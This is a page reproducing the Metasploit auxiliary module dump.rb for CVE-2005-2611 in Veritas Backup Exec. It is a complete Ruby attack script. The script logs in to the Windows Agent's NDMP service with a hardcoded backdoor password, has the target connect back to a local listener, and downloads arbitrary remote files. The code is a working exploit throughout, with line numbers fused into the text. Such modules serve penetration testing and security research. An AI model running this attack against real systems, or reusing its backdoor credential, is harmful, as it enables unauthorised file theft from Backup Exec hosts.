Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/backupexec/dump.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::NDMP78def initialize(info = {})9super(update_info(info,10'Name' => 'Veritas Backup Exec Windows Remote File Access',11'Description' => %q{12This module abuses a logic flaw in the Backup Exec Windows Agent to download13arbitrary files from the system. This flaw was found by someone who wishes to14remain anonymous and affects all known versions of the Backup Exec Windows Agent. The15output file is in 'MTF' format, which can be extracted by the 'NTKBUp' program16listed in the references section. To transfer an entire directory, specify a17path that includes a trailing backslash.18},19'Author' => [ 'hdm', 'Unknown' ],20'License' => MSF_LICENSE,21'References' =>22[23['CVE', '2005-2611'],24['OSVDB', '18695'],25['BID', '14551'],26['URL', 'https://web.archive.org/web/20120227144337/http://www.fpns.net/willy/msbksrc.lzh'],27],28'Actions' =>29[30['Download', 'Description' => 'Download arbitrary file']31],32'DefaultAction' => 'Download'33))3435register_options(36[37Opt::RPORT(10000),38OptAddressLocal.new('LHOST',39[40false,41"The local IP address to accept the data connection"42]43),44OptPort.new('LPORT',45[46false,47"The local port to accept the data connection"48]49),50OptString.new('RPATH',51[52true,53"The remote filesystem path to download",54"C:\\Windows\\win.ini"55]56),57OptString.new('LPATH',58[59true,60"The local filename to store the exported data",61"backupexec_dump.mtf"62]63),64])65end6667def run68print_status("Attempting to retrieve #{datastore['RPATH']}...")6970lfd = File.open(datastore['LPATH'], 'wb')7172connect73data = ndmp_recv()74if (not data)75print_error("Did not receive a response from the agent")76disconnect77return78end7980username = "root"81password = "\xb4\xb8\x0f\x26\x20\x5c\x42\x34\x03\xfc\xae\xee\x8f\x91\x3d\x6f"8283#84# Authenticate using the backdoor password85#86auth = [871,88Time.now.to_i,890,900x0901,910,920,932,94username.length,95username,96password97].pack('NNNNNNNNA*A*')9899print_status("Sending magic authentication request...")100ndmp_send(auth)101data = ndmp_recv()102if (not data)103print_error("Did not receive a response to our authentication request")104disconnect105return106end107108109#110# Create our listener for the data connection111#112print_status("Starting our data listener...")113sfd = Rex::Socket.create_tcp_server(114'LocalPort' => datastore['LPORT']115)116117local_addr = (datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']))118local_port = sfd.getsockname[2]119120#121# Create the DATA_CONNECT request122#123conn = [1243,1250,1260,1270x040a,1280,1290,1301,131Rex::Socket.resolv_nbo(local_addr, false),132local_port133].pack('NNNNNNNA4N')134135print_status("Sending data connection request...")136ndmp_send(conn)137data = ndmp_recv()138if (not data)139print_error("Did not receive a response to our data connection request")140sfd.close141disconnect142return143end144145#146# Wait for the agent to connect back147#148print_status("Waiting for the data connection...")149rfd = sfd.accept()150sfd.close151152153#154# Create the Mover Set Record Size request155#156msrs = [1574,1580,1590,1600x0a08,1610,1620,1630x8000164].pack('NNNNNNN')165166print_status("Sending transfer parameters...")167ndmp_send(msrs)168data = ndmp_recv()169if (not data)170print_error("Did not receive a response to our parameters request")171disconnect172return173end174175#176# Define our transfer parameters177#178xenv =179[180['USERNAME', ''],181['BU_EXCLUDE_ACTIVE_FILES', '0'],182['FILESYSTEM', "\"\\\\#{datastore['RHOST']}\\#{datastore['RPATH']}\",v0,t0,l0,n0,f0"]183]184185#186# Create the DATA_START_BACKUP request187#188bkup = [1895,1900,1910,1920x0401,1930,1940,1954196].pack('NNNNNNN')197bkup += "dump"198bkup += [ xenv.length ].pack('N')199200#201# Encode the transfer parameters202#203xenv.each do |e|204k,v = e205206# Variable207bkup += [k.length].pack('N')208bkup += k209bkup += Rex::Encoder::NDR.align(k)210211# Value212bkup += [v.length].pack('N')213bkup += v214bkup += Rex::Encoder::NDR.align(v)215end216217bkup[-1, 1] = "\x01"218219print_status("Sending backup request...")220ndmp_send(bkup)221data = ndmp_recv()222if (not data)223print_error("Did not receive a response to our backup request")224disconnect225return226end227228#229# Create the GET_ENV request230#231genv = [2325,2330,2340,2350x4004,2360,2370238].pack('NNNNNN')239240print_status("Sending environment request...")241ndmp_send(genv)242data = ndmp_recv()243if (not data)244print_error("Did not receive a response to our environment request")245disconnect246return247end248249#250# Start transferring data251#252print_status("Transferring data...")253bcnt = 0254255begin256while (data = rfd.get_once)257bcnt += data.length258lfd.write(data)259end260rescue ::EOFError261end262263lfd.close264rfd.close265266print_status("Transferred #{bcnt} bytes.")267disconnect268269end270end271272273